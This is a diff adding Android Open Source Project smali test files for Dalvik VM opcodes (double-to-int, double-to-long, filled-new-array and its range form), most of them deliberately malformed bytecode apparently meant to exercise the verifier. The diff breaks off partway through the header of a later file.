diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali
new file mode 100644
index 0000000..94548ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_6.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-int v0, v0
+       
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali
new file mode 100644
index 0000000..ef79df4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_1.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali
new file mode 100644
index 0000000..4c789bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_3.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       double-to-long v0, v6
+       const-wide v2, 123
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali
new file mode 100644
index 0000000..8c41ad2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_4.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v5
+       
+       const-wide v2, 123
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali
new file mode 100644
index 0000000..cd4a0d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_5.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali
new file mode 100644
index 0000000..204dadc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_6.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-long v0, v0
+       
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali
new file mode 100644
index 0000000..43b96f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_1.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali
new file mode 100644
index 0000000..76e5df6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_10.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array {v9}, [Ljava/lang/StringNNNNN;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali
new file mode 100644
index 0000000..15be0bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_11.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array {v9}, [Ldot/junit/opcodes/filled_new_array/TestStubs;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali
new file mode 100644
index 0000000..40fe3cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_2.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array {v8, v9}, [Ljava/lang/Object;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali
new file mode 100644
index 0000000..a8618fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_3.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali
new file mode 100644
index 0000000..d79a723
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_4.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v10}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali
new file mode 100644
index 0000000..240adab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_5.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v4}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali
new file mode 100644
index 0000000..c7530f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_6.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIIJ)V
+.registers 11
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali
new file mode 100644
index 0000000..fcaaa88
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_7.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali
new file mode 100644
index 0000000..c556ca7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_8.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 10
+
+       invoke-direct {v9}, Ljava/lang/Object;-><init>()V
+       
+       const v5, 0
+       const v6, 0
+       const v7, 0
+       const v8, 0
+       const v9, 0
+       filled-new-array {v5, v6, v7, v8, v9}, [I
+       move-result-object v0
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali
new file mode 100644
index 0000000..962b1c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_9.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array {v9}, [Ljava/lang/String;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali
new file mode 100644
index 0000000..5e6f627
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_1.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali
new file mode 100644
index 0000000..663829d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_10.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array/range {v9}, [Ljava/lang/StringNNNNN;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali
new file mode 100644
index 0000000..6f47fda
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_11.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array/range {v9}, [Ldot/junit/opcodes/filled_new_array_range/TestStubs;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali
new file mode 100644
index 0000000..37683b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_2.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array/range {v8..v9}, [Ljava/lang/Object;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali
new file mode 100644
index 0000000..03b95b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_3.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali
new file mode 100644
index 0000000..2698ce9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_4.java"
